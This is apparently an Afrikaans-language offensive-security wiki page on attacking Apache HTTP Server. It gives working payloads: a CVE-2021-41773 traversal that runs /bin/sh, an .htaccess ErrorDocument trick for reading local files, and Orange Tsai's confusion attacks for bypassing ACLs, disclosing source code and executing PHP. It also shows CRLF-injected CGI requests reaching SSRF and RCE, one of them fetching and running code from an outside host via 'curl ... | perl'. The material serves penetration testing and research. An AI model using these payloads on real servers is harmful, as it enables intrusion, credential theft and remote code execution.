Apache

Reading time: 13 minutes

Uitvoerbare PHP-uitbreidings

Kontroleer watter uitbreidings deur die Apache-server uitgevoer word. Om daarna te soek, kan jy die volgende uitvoer:

grep -R -B1 "httpd-php" /etc/apache2

Ook, sommige plekke waar jy hierdie konfigurasie kan vind, is:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

LFI via .htaccess ErrorDocument file provider (ap_expr)

As jy 'n gids se .htaccess kan beheer en AllowOverride FileInfo insluit vir daardie pad, kan jy 404-antwoorde omskakel na arbitêre plaaslike lêerleesings deur die ap_expr file() funksie binne ErrorDocument te gebruik.

• Vereistes:
• Apache 2.4 met expression parser (ap_expr) aangeskakel (standaard in 2.4).
• Die vhost/dir moet toelaat dat .htaccess ErrorDocument kan stel (AllowOverride FileInfo).
• Die Apache worker user moet leesregte op die teikenlêer hê.

.htaccess payload:

# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}

Activeer dit deur enige nie‑bestaande pad onder daardie directory op te vra, byvoorbeeld wanneer userdir-style hosting misbruik word:

curl -s http://target/~user/does-not-exist | sed -n '1,20p'

Aantekeninge en wenke:

• Slegs absolute paadjies werk. Die inhoud word as die responsliggaam vir die 404-handler teruggegee.
• Effektiewe leesregte is dié van die Apache-user (tipies www-data/apache). Jy sal nie /root/* of /etc/shadow kan lees in standaard opstellings nie.
• Selfs al is .htaccess root-eienaarskap, as die ouer-gids tenant-eienaarskap het en hernoeming toelaat, kan jy moontlik die oorspronklike .htaccess hernoem en jou eie vervangingslêer via SFTP/FTP oplaai:
• rename .htaccess .htaccess.bk
• put your malicious .htaccess
• Gebruik dit om application source onder DocumentRoot of vhost config-paadjies te lees om geheime inligting te oes (DB creds, API keys, ens.).

Confusion Attack

Hierdie tipe aanvalle is bekendgestel en gedokumenteer by Orange in this blog post en die volgende is 'n samevatting. Die "confusion" attack misbruik basies hoe die tientalle modules wat saamwerk om 'n Apache te skep nie perfek gesinkroniseer werk nie, en dat sommige van hulle onvoorsiene data wysig wat 'n kwesbaarheid in 'n later module kan veroorsaak.

Filename Confusion

Afkapping

Die mod_rewrite sal die inhoud van r->filename na die karakter ? afsny (modules/mappers/mod_rewrite.c#L4141). Dit is nie heeltemal verkeerd nie aangesien meeste modules r->filename as 'n URL sal hanteer. Maar in ander gevalle sal dit as 'n lêerpad beskou word, wat 'n probleem kan veroorsaak.

Padafkapping

Dit is moontlik om mod_rewrite te misbruik soos in die volgende reëlvoorbeeld om toegang tot ander lêers op die lêerstelsel te kry deur die laaste deel van die verwagte pad te verwyder deur bloot ? by te voeg:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

• Mislei RewriteFlag Assignment

In die volgende rewrite rule, solank die URL op .php eindig sal dit as php behandel en uitgevoer word. Daarom is dit moontlik om 'n URL wat op .php eindig na die ? char te stuur, terwyl jy in die pad 'n ander tipe lêer laai (soos 'n beeld) met kwaadwillige php-kode daarin:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Dit is moontlik om lêers te benader waartoe 'n gebruiker nie toegang behoort te hê nie, selfs al sou toegang met konfigurasies soos die volgende geweier word:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Dit is omdat PHP-FPM per verstek URLs wat op .php eindig, soos http://server/admin.php%3Fooo.php, sal ontvang en omdat PHP-FPM alles na die karakter ? sal verwyder, sal die vorige URL toelaat om /admin.php te laai, selfs al het die vorige reël dit verbied.

DocumentRoot Verwarring

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

'n prettige feit oor Apache is dat die vorige rewrite sal probeer om die lêer te bereik beide vanaf die documentRoot en vanaf root. Dus, 'n versoek na https://server/abouth.html sal nagaan vir die lêer in /var/www/html/about.html en /about.html op die lêerstelsel. Wat basies misbruik kan word om lêers op die lêerstelsel te benader.

Bedienerkant Bronkode-Openbaarmaking

• Openbaar CGI-bronkode

Net deur %3F aan die einde by te voeg is genoeg om die bronkode van 'n cgi module te leak:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

• Maak PHP Source Code openbaar

As 'n bediener verskillende domeine het, waarvan een 'n static domain is, kan dit misbruik word om deur die lêerstelsel te navigeer en php code te leak:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Local Gadgets Manipulation

Die hoofprobleem met die vorige aanval is dat by verstek meeste toegang tot die filesystem sal geweier word soos in Apache HTTP Server’s configuration template:

<Directory />
AllowOverride None
Require all denied
</Directory>

Maar Debian/Ubuntu bedryfstelsels laat by verstek /usr/share toe:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Daarom sou dit moontlik wees om lêers binne /usr/share in hierdie distribusies te misbruik.

Plaaslike gadget na Inligtingsvrystelling

• Apache HTTP Server met websocketd kan die dump-env.php-skrip by /usr/share/doc/websocketd/examples/php/ blootstel, wat sensitiewe omgewingsvariabeles kan leak.
• Bedieners met Nginx of Jetty mag sensitiewe webtoepassingsinligting (bv. web.xml) deur hul standaard webwortels onder /usr/share blootstel:
• /usr/share/nginx/html/
• /usr/share/jetty9/etc/
• /usr/share/jetty9/webapps/

Plaaslike gadget na XSS

• Op Ubuntu Desktop met LibreOffice geïnstalleer, kan die uitbuiting van die hulp-lêers se taalwisselfunksie lei tot Cross-Site Scripting (XSS). Deur die URL by /usr/share/libreoffice/help/help.html te manipuleer kan dit na kwaadwillige bladsye of ouer weergawes omskakel deur unsafe RewriteRule.

Plaaslike gadget na LFI

• As PHP of sekere front-end pakkette soos JpGraph of jQuery-jFeed geïnstalleer is, kan hul lêers uitgebuit word om sensitiewe lêers soos /etc/passwd te lees:
• /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
• /usr/share/javascript/jquery-jfeed/proxy.php
• /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Plaaslike gadget na SSRF

• Deur MagpieRSS's magpie_debug.php by /usr/share/php/magpierss/scripts/magpie_debug.php te gebruik, kan 'n SSRF-kwesbaarheid maklik geskep word, wat 'n poort na verdere uitbuitings bied.

Plaaslike gadget na RCE

• Geleenthede vir Remote Code Execution (RCE) is wyd, met kwesbare installasies soos 'n verouderde PHPUnit of phpLiteAdmin. Hierdie kan uitgebuit word om ewekansige kode uit te voer, wat die uitgebreide potensiaal van die manipulasie van plaaslike gadgets toon.

Jailbreak vanaf Plaaslike gadgets

Dit is ook moontlik om vanuit die toegelate vouers te jailbreak deur simboliese skakels te volg wat deur geïnstalleerde sagteware in daardie vouers geskep is, soos:

• Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
• Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
• Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
• MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
• SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Boonop het dit deur die misbruik van simboliese skakels moontlik geword om RCE in Redmine te verkry.

Handler Confusion

Hierdie aanval gebruik die oorvleueling in funksionaliteit tussen die AddHandler en AddType riglyne, wat albei gebruik kan word om PHP-verwerking te aktiveer. Oorspronklik het hierdie riglyne verskillende velde beïnvloed (r->handler en r->content_type onderskeidelik) in die bediener se interne struktuur. As gevolg van ouer kode hanteer Apache egter hierdie riglyne deurmekaar onder sekere toestande, en skakel r->content_type na r->handler om as laasgenoemde gestel is en die eerste nie.

Verder, in die Apache HTTP Server (server/config.c#L420), as r->handler leeg is voor die uitvoering van ap_run_handler(), gebruik die bediener r->content_type as die handler, wat AddType en AddHandler effektief gelyk maak in effek.

Oorskryf Handler om PHP-bronkode bloot te stel

In this talk is 'n kwesbaarheid aangebied waar 'n onjuiste Content-Length wat deur 'n kliënt gestuur is, Apache per ongeluk kan veroorsaak om die PHP-bronkode terug te gee. Dit was as gevolg van 'n fout hanteringskwessie met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele respons lei tot die oorskrywing van r->content_type na text/html.
Omdat ModSecurity nie retourwaardes behoorlik hanteer nie, sou dit die PHP-kode teruggee en dit nie interpreteer nie.

Oorskryf Handler na XXXX

TODO: Orange het hierdie kwesbaarheid nog nie bekendgemaak nie

Roep ewekansige handlers aan

As 'n aanvaller in staat is om die Content-Type header in 'n bedienerrespons te beheer, sal hy in staat wees om ewekansige module-handlers te roep. Ná die punt waarop die aanvaller dit beheer, sal egter die meeste van die versoekproses reeds gedoen wees. Dit is egter moontlik om die versoekproses te herbegin deur die Location header te misbruik omdat, as die returned Status 200 is en die Location header begin met '/', die respons as 'n Server-Side Redirection behandel word en verwerk moet word

Volgens RFC 3875 (spesifikasie oor CGI) definieer Section 6.2.2 die gedrag van 'n Local Redirect Response:

Die CGI-skrip kan 'n URI-pad en navraag-string (‘local-pathquery’) vir 'n plaaslike hulpbron in a Location header field teruggee. Dit dui aan die bediener dat dit die versoek weer moet verwerk met die gespesifiseerde pad.

Daarom is een van die volgende kwesbaarhede benodig om hierdie aanval uit te voer:

• CRLF Injection in die CGI response headers
• SSRF met volledige beheer oor die response headers

Ewekansige handler na Inligtingsvrystelling

Byvoorbeeld /server-status behoort slegs plaaslik toeganklik te wees:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Dit is moontlik om toegang daartoe te kry deur die Content-Type op server-status te stel en die Location-header te laat begin met /.

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrary Handler to Full SSRF

Om na mod_proxy te herlei om toegang tot enige protokol op enige URL te kry:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Echter word die X-Forwarded-For header bygevoeg, wat toegang tot cloud metadata endpoints verhinder.

Arbitrêre Handler om toegang tot die plaaslike Unix Domain Socket te kry

Kry toegang tot PHP-FPM se plaaslike Unix Domain Socket om 'n PHP backdoor wat in /tmp/ geleë is, uit te voer:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrary Handler to RCE

Die amptelike PHP Docker image sluit PEAR (Pearcmd.php) in, 'n command-line PHP pakketbestuursinstrument, wat misbruik kan word om RCE te verkry:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Kyk na Docker PHP LFI Summary, geskryf deur Phith0n vir die besonderhede van hierdie tegniek.

Verwysings

• https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
• Apache 2.4 Custom Error Responses (ErrorDocument)
• Apache 2.4 Expressions and functions (file:)
• HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse